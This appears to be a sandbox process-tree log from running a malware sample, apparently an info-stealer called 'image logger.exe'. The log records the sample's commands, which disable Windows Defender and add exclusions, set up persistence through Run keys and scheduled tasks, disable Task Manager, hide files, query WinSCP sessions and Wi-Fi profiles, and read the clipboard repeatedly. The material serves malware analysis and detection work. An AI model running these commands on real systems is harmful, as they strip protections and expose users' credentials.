  C:\Windows\system32\cmd.exe /d /s /c "powershell -command "function Get-AntiVirusProduct { [CmdletBinding()] param ( [parameter(ValueFromPipeline=$true, ValueFromPipelineByPropertyName=$true)] [Alias('name')] $computername=$env:computername ) $AntiVirusProducts = Get-WmiObject -Namespace "root\\SecurityCenter2" -Class AntiVirusProduct -ComputerName $computername $ret = @() foreach ($AntiVirusProduct in $AntiVirusProducts) { switch ($AntiVirusProduct.productState) { "262144" { $defstatus = "Up to date"; $rtstatus = "Disabled" } "262160" { $defstatus = "Out of date"; $rtstatus = "Disabled" } "266240" { $defstatus = "Up to date"; $rtstatus = "Enabled" } "266256" { $defstatus = "Out of date"; $rtstatus = "Enabled" } "393216" { $defstatus = "Up to date"; $rtstatus = "Disabled" } "393232" { $defstatus = "Out of date"; $rtstatus = "Disabled" } "393488" { $defstatus = "Out of date"; $rtstatus = "Disabled" } "397312" { $defstatus = "Up to date"; $rtstatus = "Enabled" } "397328" { $defstatus = "Out of date"; $rtstatus = "Enabled" } "397584" { $defstatus = "Out of date"; $rtstatus = "Enabled" } default { $defstatus = "Unknown"; $rtstatus = "Unknown" } } $ht = @{} $ht.Computername = $computername $ht.Name = $AntiVirusProduct.displayName $ht.'Product GUID' = $AntiVirusProduct.instanceGuid $ht.'Product Executable' = $AntiVirusProduct.pathToSignedProductExe $ht.'Reporting Exe' = $AntiVirusProduct.pathToSignedReportingExe $ht.'Definition Status' = $defstatus $ht.'Real-time Protection Status' = $rtstatus # Créez un nouvel objet pour chaque ordinateur $ret += New-Object -TypeName PSObject -Property $ht } Return $ret } Get-AntiVirusProduct ""
  2⤵
  PID:5444
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -command "function Get-AntiVirusProduct {
    3⤵
    - Command and Scripting Interpreter: PowerShell
    PID:6400
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell Get-Clipboard"
  2⤵
  PID:5976
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:4720
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell Get-Clipboard
    3⤵
    PID:5128
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "netsh wlan show profile"
  2⤵
  PID:6632
- - C:\Windows\system32\netsh.exe
    netsh wlan show profile
    3⤵
    PID:6348
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "C:\Windows\system32\reg.exe QUERY "HKCU\SOFTWARE\Martin Prikryl\WinSCP 2\Sessions""
  2⤵
  PID:4384
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:6804
- - C:\Windows\system32\reg.exe
    C:\Windows\system32\reg.exe QUERY "HKCU\SOFTWARE\Martin Prikryl\WinSCP 2\Sessions"
    3⤵
    PID:5532
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "C:\Windows\system32\reg.exe ADD "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v WindowsDriverSetupPN7L9j /t REG_SZ /d C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Themes\CachedFiles\image logger.exe /f"
  2⤵
  PID:2848
- - C:\Windows\system32\reg.exe
    C:\Windows\system32\reg.exe ADD "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v WindowsDriverSetupPN7L9j /t REG_SZ /d C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Themes\CachedFiles\image logger.exe /f
    3⤵
    PID:5876
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "cmd /c schtasks /create /sc onlogon /tn WindowsDriverSetupPN7L9j /tr \"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Themes\CachedFiles\image logger.exe\" /F /rl highest"
  2⤵
  PID:5300
- - C:\Windows\system32\cmd.exe
    cmd /c schtasks /create /sc onlogon /tn WindowsDriverSetupPN7L9j /tr \"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Themes\CachedFiles\image logger.exe\" /F /rl highest
    3⤵
    PID:7116
  - - C:\Windows\system32\schtasks.exe
      schtasks /create /sc onlogon /tn WindowsDriverSetupPN7L9j /tr \"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Themes\CachedFiles\image logger.exe\" /F /rl highest
      4⤵
      Creates scheduled task(s)
      PID:4704
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell -command " $Action = New-ScheduledTaskAction -Execute 'C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Templates\image logger.exe' $Trigger = New-ScheduledTaskTrigger -Daily -At '12:00PM' Register-ScheduledTask -Action $Action -Trigger $Trigger -TaskName StartCacaTask ""
  2⤵
  PID:5216
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -command "
    3⤵
    - Command and Scripting Interpreter: PowerShell
    PID:3040
- C:\Users\Admin\AppData\Local\Temp\resources\app.asar.unpacked\node_modules\ps-list\fastlist.exe
  C:\Users\Admin\AppData\Local\Temp\resources\app.asar.unpacked\node_modules\ps-list\fastlist.exe
  2⤵
  PID:6724
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "C:\Windows\system32\reg.exe ADD "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableTaskMgr /t REG_DWORD /d 1 /f"
  2⤵
  PID:6736
- - C:\Windows\system32\reg.exe
    C:\Windows\system32\reg.exe ADD "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableTaskMgr /t REG_DWORD /d 1 /f
    3⤵
    PID:5140
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "C:\Windows\system32\reg.exe ADD "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v Start_PN7L9j /t REG_SZ /d C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Libraries\sysWin10Boot_PN7L9j.vbs /f"
  2⤵
  PID:1784
- - C:\Windows\system32\reg.exe
    C:\Windows\system32\reg.exe ADD "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v Start_PN7L9j /t REG_SZ /d C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Libraries\sysWin10Boot_PN7L9j.vbs /f
    3⤵
    - Adds Run key to start application
    PID:5268
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell -Command "attrib +h +s \"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Libraries\sysWin10Boot_PN7L9j.vbs\"""
  2⤵
  PID:7160
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -Command "attrib +h +s \"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Libraries\sysWin10Boot_PN7L9j.vbs\""
    3⤵
    - Command and Scripting Interpreter: PowerShell
    PID:5988
  - - C:\Windows\system32\attrib.exe
      "C:\Windows\system32\attrib.exe" +h +s C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Libraries\sysWin10Boot_PN7L9j.vbs
      4⤵
      Views/modifies file attributes
      PID:4984
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell.exe Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & powershell.exe -inputformat none -outputformat none -NonInteractive -Command "Add-MpPreference -ExclusionPath %USERPROFILE%\AppData" & powershell.exe -inputformat none -outputformat none -NonInteractive -Command "Add-MpPreference -ExclusionPath %USERPROFILE%\Local" & powershell.exe -command "Set-MpPreference -ExclusionExtension '.exe'" "
  2⤵
  PID:5448
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend
    3⤵
    PID:5184
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -inputformat none -outputformat none -NonInteractive -Command "Add-MpPreference -ExclusionPath C:\Users\Admin\AppData"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    PID:6916
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -inputformat none -outputformat none -NonInteractive -Command "Add-MpPreference -ExclusionPath C:\Users\Admin\Local"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    PID:336
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -command "Set-MpPreference -ExclusionExtension '.exe'"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    PID:3672
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell.exe -ExecutionPolicy Bypass -File "C:\Users\Admin\AppData\Roaming\saluto6JQO.ps1" -RunAsAdministrator"
  2⤵
  PID:3464
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -ExecutionPolicy Bypass -File "C:\Users\Admin\AppData\Roaming\saluto6JQO.ps1" -RunAsAdministrator
    3⤵
    - Command and Scripting Interpreter: PowerShell
    PID:5772
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell Get-Clipboard"
  2⤵
  PID:6456
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell Get-Clipboard
    3⤵
    PID:6008
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell Get-Clipboard"
  2⤵
  PID:5612
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell Get-Clipboard
    3⤵
    PID:3680
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell Get-Clipboard"
  2⤵
  PID:740
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell Get-Clipboard
    3⤵
    PID:4756
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell Get-Clipboard"
  2⤵
  PID:5652
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell Get-Clipboard
    3⤵
    PID:896
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell Get-Clipboard"
  2⤵
  PID:5740
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell Get-Clipboard
    3⤵
    PID:7008
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell Get-Clipboard"
  2⤵
  PID:6036
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell Get-Clipboard
    3⤵
    PID:5144
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell Get-Clipboard"
  2⤵
  PID:6136
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell Get-Clipboard
    3⤵
    PID:4536
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell Get-Clipboard"
  2⤵
  PID:6340
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell Get-Clipboard
    3⤵
    PID:6684
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell Get-Clipboard"
  2⤵
  PID:3008
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell Get-Clipboard
    3⤵
    PID:3600
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell Get-Clipboard"
  2⤵
  PID:1480
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell Get-Clipboard
    3⤵
    PID:2320
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell Get-Clipboard"
  2⤵
  PID:6704
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell Get-Clipboard
    3⤵
    PID:5700
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell Get-Clipboard"
  2⤵
  PID:3776
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell Get-Clipboard
    3⤵
    PID:1548
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell Get-Clipboard"
  2⤵
  PID:3588
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell Get-Clipboard
    3⤵
    PID:3192
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell Get-Clipboard"
  2⤵
  PID:6204
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell Get-Clipboard
    3⤵
    PID:5476
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell Get-Clipboard"
  2⤵
  PID:5484
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell Get-Clipboard
    3⤵
    PID:5568
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell Get-Clipboard"
  2⤵
  PID:6296
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell Get-Clipboard
    3⤵
    PID:1400
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell Get-Clipboard"
  2⤵
  PID:4808
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell Get-Clipboard
    3⤵
    PID:1408
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell Get-Clipboard"
  2⤵
  PID:5452
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell Get-Clipboard
    3⤵
    PID:2476
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell Get-Clipboard"
  2⤵
  PID:3992
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell Get-Clipboard
    3⤵
    PID:1152
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell Get-Clipboard"
  2⤵
  PID:2072
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell Get-Clipboard
    3⤵
    PID:3112
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell Get-Clipboard"
  2⤵
  PID:4896
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell Get-Clipboard
    3⤵
    PID:5808
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell Get-Clipboard"
  2⤵
  PID:6128
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell Get-Clipboard
    3⤵
    PID:6528
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell Get-Clipboard"
  2⤵
  PID:6660
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell Get-Clipboard
    3⤵
    PID:6536
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell Get-Clipboard"
  2⤵
  PID:2516
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell Get-Clipboard
    3⤵
    PID:7008
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell Get-Clipboard"
  2⤵
  PID:2240
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell Get-Clipboard
    3⤵
    PID:3968
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell Get-Clipboard"
  2⤵
  PID:5876
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell Get-Clipboard
    3⤵
    PID:5916
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell Get-Clipboard"
  2⤵
  PID:5504
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell Get-Clipboard
    3⤵
    PID:5004
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell Get-Clipboard"
  2⤵
  PID:6052
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell Get-Clipboard
    3⤵
    PID:4984
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell Get-Clipboard"
  2⤵
  PID:3060
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell Get-Clipboard
    3⤵
    PID:2108
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell Get-Clipboard"
  2⤵
  PID:5800
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell Get-Clipboard
    3⤵
    PID:6916
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell Get-Clipboard"
  2⤵
  PID:5132
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell Get-Clipboard
    3⤵
    PID:4688
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell Get-Clipboard"
  2⤵
  PID:6484
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell Get-Clipboard
    3⤵
    PID:6516
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell Get-Clipboard"
  2⤵
  PID:6172
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell Get-Clipboard
    3⤵
    PID:7060
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell Get-Clipboard"
  2⤵
  PID:5540
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell Get-Clipboard
    3⤵
    PID:5600
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell Get-Clipboard"
  2⤵
  PID:4580
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell Get-Clipboard
    3⤵
    PID:7128
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell Get-Clipboard"
  2⤵
  PID:3540
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell Get-Clipboard
    3⤵
    PID:3528
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell Get-Clipboard"
  2⤵
  PID:768
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell Get-Clipboard
    3⤵
    PID:3052
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell Get-Clipboard"
  2⤵
  PID:5296
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell Get-Clipboard
    3⤵
    PID:5044
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell Get-Clipboard"
  2⤵
  PID:6552
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell Get-Clipboard
    3⤵
    PID:5840
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell Get-Clipboard"
  2⤵
  PID:4460
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell Get-Clipboard
    3⤵
    PID:3876
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell Get-Clipboard"
  2⤵
  PID:6888
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell Get-Clipboard
    3⤵
    PID:6324
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell Get-Clipboard"
  2⤵
  PID:6996
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell Get-Clipboard
    3⤵
    PID:4476
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell Get-Clipboard"
  2⤵
  PID:5432
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell Get-Clipboard
    3⤵
    PID:6408
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell Get-Clipboard"
  2⤵
  PID:6440
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell Get-Clipboard
    3⤵
    PID:5884
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell Get-Clipboard"
  2⤵
  PID:4512
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell Get-Clipboard
    3⤵
    PID:4404
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell Get-Clipboard"
  2⤵
  PID:6340
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell Get-Clipboard
    3⤵
    PID:7044
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell Get-Clipboard"
  2⤵
  PID:3008
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell Get-Clipboard
    3⤵
    PID:4148
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell Get-Clipboard"
  2⤵
  PID:1480
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell Get-Clipboard
    3⤵
    PID:6760
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell Get-Clipboard"
  2⤵
  PID:5636
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:5700
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell Get-Clipboard
    3⤵
    PID:5696
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell Get-Clipboard"
  2⤵
  PID:4708
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell Get-Clipboard
    3⤵
    PID:6568
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell Get-Clipboard"
  2⤵
  PID:3988
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell Get-Clipboard
    3⤵
    PID:4064
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell Get-Clipboard"
  2⤵
  PID:6936
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell Get-Clipboard
    3⤵
    PID:5268
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell Get-Clipboard"
  2⤵
  PID:4960
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell Get-Clipboard
    3⤵
    PID:6900
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell Get-Clipboard"
  2⤵
  PID:4032
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell Get-Clipboard
    3⤵
    PID:5768
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell Get-Clipboard"
  2⤵
  PID:7156
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell Get-Clipboard
    3⤵
    PID:1408
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell Get-Clipboard"
  2⤵
  PID:7032
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell Get-Clipboard
    3⤵
    PID:988
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell Get-Clipboard"
  2⤵
  PID:5308
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell Get-Clipboard
    3⤵
    PID:3544
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell Get-Clipboard"
  2⤵
  PID:2840
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell Get-Clipboard
    3⤵
    PID:2580
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell Get-Clipboard"
  2⤵
  PID:5840
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell Get-Clipboard
    3⤵
    PID:5944
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell Get-Clipboard"
  2⤵
  PID:1476
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:3876
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell Get-Clipboard
    3⤵
    PID:5552
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell Get-Clipboard"
  2⤵
  PID:5796
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell Get-Clipboard
    3⤵
    PID:5804
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell Get-Clipboard"
  2⤵
  PID:6536
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell Get-Clipboard
    3⤵
    PID:4300
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell Get-Clipboard"
  2⤵
  PID:1868
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell Get-Clipboard
    3⤵
    PID:6728
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell Get-Clipboard"
  2⤵
  PID:7084
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell Get-Clipboard
    3⤵
    PID:3404
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell Get-Clipboard"
  2⤵
  PID:5664
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell Get-Clipboard
    3⤵
    PID:6136
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell Get-Clipboard"
  2⤵
  PID:4440
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell Get-Clipboard
    3⤵
    PID:5508
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell Get-Clipboard"
  2⤵
  PID:6960
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell Get-Clipboard
    3⤵
    PID:6420
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell Get-Clipboard"
  2⤵
  PID:5080
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell Get-Clipboard
    3⤵
    PID:5832
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell Get-Clipboard"
  2⤵
  PID:4948
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell Get-Clipboard
    3⤵
    PID:6816
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell Get-Clipboard"
  2⤵
  PID:5304
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell Get-Clipboard
    3⤵
    PID:1548
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell Get-Clipboard"
  2⤵
  PID:6092
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell Get-Clipboard
    3⤵
    PID:5184
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell Get-Clipboard"
  2⤵
  PID:1524
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:5268
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell Get-Clipboard
    3⤵
    PID:2296
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell Get-Clipboard"
  2⤵
  PID:6900
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:5568
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell Get-Clipboard
    3⤵
    PID:5112
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell Get-Clipboard"
  2⤵
  PID:1400
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell Get-Clipboard
    3⤵
    PID:6560
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell Get-Clipboard"
  2⤵
  PID:5544
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell Get-Clipboard
    3⤵
    PID:5164
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell Get-Clipboard"
  2⤵
  PID:5264
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell Get-Clipboard
    3⤵
    PID:5244
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell Get-Clipboard"
  2⤵
  PID:1052
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell Get-Clipboard
    3⤵
    PID:6928
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell Get-Clipboard"
  2⤵
  PID:6608
